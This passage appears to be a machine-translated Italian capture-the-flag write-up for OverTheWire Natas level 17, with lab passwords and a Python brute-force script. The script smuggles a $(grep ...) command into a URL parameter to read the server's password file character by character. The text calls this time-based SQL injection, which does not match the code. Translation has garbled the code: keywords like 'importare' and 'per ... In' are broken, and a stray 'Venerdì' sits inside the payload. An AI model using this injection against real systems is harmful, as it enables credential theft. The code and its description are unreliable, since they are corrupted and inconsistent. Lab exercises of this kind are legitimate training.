Abbiamo trattato l'iniezione SQL basata sul tempo utilizzando la funzione sleep. L'iniezione SQL basata sul tempo si basa sulla risposta dell'applicazione Web per dedurre se esiste o meno una vulnerabilità di iniezione. Abbiamo utilizzato uno scenario di laboratorio di OverTheWire Natas Level 17 che implementa un'applicazione Web che verifica se un utente esiste o meno. Questo faceva parte di OverTheWire Giochi di Guerra Natas Livello 17
Ottieni le note sul certificato OSCP
Password di livello 17 di Natas
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
Scrittura Python
#!/usr/bin/python
importare richieste
caratteri = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
esistere = ''
parola d'ordine = ''
bersaglio = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
trueStr = 'Produzione:\N\N
'
per X In caratteri:
R = richieste.Ottenere(bersaglio+'?ago=$(grep '+X+' /etc/natas_webpass/natas17)Venerdì')
Se R.contenuto.Trovare(trueStr) != -1:
esistere += X
stampa 'Utilizzando: ' + esistere
stampa 'Tutti i caratteri utilizzati. Iniziare la forza bruta... Prendi un caffè, potrebbe volerci un po'!'
per io In allineare(32):
per C In esistere:
R = richieste.Ottenere(bersaglio+'?ago=$(grep ^'+parola d'ordine+C+' /etc/natas_webpass/natas17)Venerdì')
Se R.contenuto.Trovare(trueStr) != -1:
parola d'ordine += C
stampa 'Parola d'ordine: ' + parola d'ordine + '*' * int(32 - len(parola d'ordine))
rottura
stampa 'Completato!'
Videoprocedura dettagliata
Mostra commenti